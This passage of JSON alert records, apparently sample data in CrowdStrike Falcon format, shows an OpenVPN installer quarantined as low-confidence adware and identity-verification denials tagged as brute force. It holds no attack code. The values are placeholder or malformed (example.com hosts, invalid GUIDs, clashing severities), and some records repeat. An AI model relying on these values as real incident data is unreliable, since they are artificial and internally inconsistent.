XYZ","overwatch_note_timestamp":"2025-03-01T15:31:00Z","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"rule_group_id":"1b27b7f123c44e15a13fe7f44801d123","rule_group_name":"Windows Group","rule_instance_created_by":"myuser@mydomain.com","rule_instance_id":"123","rule_instance_name":"INSTANCE-1","rule_instance_version":"1","scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} -{"agent_id":"38293534662e48c99f33c61631b3536d","aggregate_id":"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","cid":"4446934rf3fdb64ec3056ddfb96e","composite_id":"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","confidence":80,"context_timestamp":"2024-08-16T18:43:44.242Z","crawled_timestamp":"2024-08-16T18:49:02.798354466Z","created_timestamp":"2024-08-16T18:45:02.987127397Z","data_domains":["Identity"],"description":"A user denied a policy identity verification request","display_name":"Identity verification denied","end_time":"2024-08-16T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","idp_policy_mfa_factor_type":"32769","idp_policy_mfa_provider":"14","idp_policy_rule_id":"1B82F2DE-2A08-49E0-8F85-AD46996F9A65","idp_policy_rule_name":"admin - RDP Access to TIER-0 Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"Gain Access","pattern_id":51143,"poly_id":"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"High","show_in_ui":true,"source_account_azure_id":"65ddx-c454-45f9-9034-Fdf34353","source_account_domain":"NET.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1567733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"E436B3F0-078C-4629-9437-D3E3169147C0","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293534662e48c99f33c61631b3536d","source_products":["Falcon Identity Protection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"Credential Access","tactic_id":"TA0006","technique":"Brute Force","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E","target_endpoint_account_object_sid":"S-1-5-21-746137067-1844237615-1801674531-298236","target_endpoint_host_name":"GH787.net.example.com","target_endpoint_sensor_id":"ac89a368e77a4fa5837b53c7f11fc9e7","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge 126.0.0","activity_device":"LAPTOP-AP7299QV","activity_os":"Windows","active_directory_authentication_method":"5","activity_id":"2A8A7C96-0F17-412C-8105-94542784E00D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":340726,"location_longitude_as_int":-1182610,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"9F2CE16C-4A78-42E6-8565-87147707EE79","source_endpoint_account_object_sid":"S-1-5-21-111111111-2222222-1417001333-101158","source_endpoint_ip_reputation":"128","source_ip_isp_classification":"9","source_ip_isp_domain":"sioru.com","target_domain_controller_host_name":"APINTAL19DC01","target_domain_controller_object_guid":"45A24DB7-6CD3-48C5-974F-A97159E7E2B2","target_domain_controller_object_sid":"S-1-5-21-111111111-2222222-1417001333-85512","target_service_access_identifier":"HOST/admin.example.com"} -{"aggregate_id":"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9","agent_id":"58293534772e48c99f33c61631b3536d","cid":"4446934rf3fdb64ec3056ddfb96e","context_timestamp":"2024-08-19T18:43:44.242Z","composite_id":"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","crawled_timestamp":"2024-08-19T18:49:02.798354466Z","created_timestamp":"2024-08-19T18:45:02.987127397Z","data_domains":["Identity"],"description":"Auserdeniedapolicyidentityverificationrequest","display_name":"Identityverificationdenied","end_time":"2024-08-19T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429","idp_policy_mfa_factor_type":"42669","idp_policy_mfa_provider":"11","idp_policy_rule_id":"123324-343-4dfa9E0-8F85-dfaa3242","idp_policy_rule_name":"admin-RDPAccesstoTIER-0Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"GainAccess","pattern_id":45897,"poly_id":"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"Medium","show_in_ui":true,"source_account_azure_id":"65ddx-c454-324d-9034-Fdf34353","source_account_domain":"BCD.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1117733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"FDHJJ343-098C-4629-9437-DD3424GHJ","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293523261gh48c99ffd234c6190123536e","source_products":["FalconIdentityProtection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"CredentialAccess","tactic_id":"TA0006","technique":"BruteForce","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536","target_endpoint_account_object_sid":"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236","target_endpoint_host_name":"GH787.abc.example.com","target_endpoint_sensor_id":"afdsasf3423432nndv3432v","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge126.0.0","activity_device":"LAPTOP-ADFVEJM234V","activity_os":"Windows","active_directory_authentication_method":"4","activity_id":"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":320316,"location_longitude_as_int":-12729080,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"78HF9842-HGG5-324F-9565-GJD47324","source_endpoint_account_object_sid":"S-1-4-21-111111111-2222222-14171121333-1045999","source_endpoint_ip_reputation":"118","source_ip_isp_classification":"8","source_ip_isp_domain":"abc.com","target_domain_controller_host_name":"GHPOTAL12578","target_domain_controller_object_guid":"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1","target_domain_controller_object_sid":"S-2-8-21-333333-2222222-3431-95511","target_service_access_identifier":"HOST/root.demo.com"} -{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} -{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWq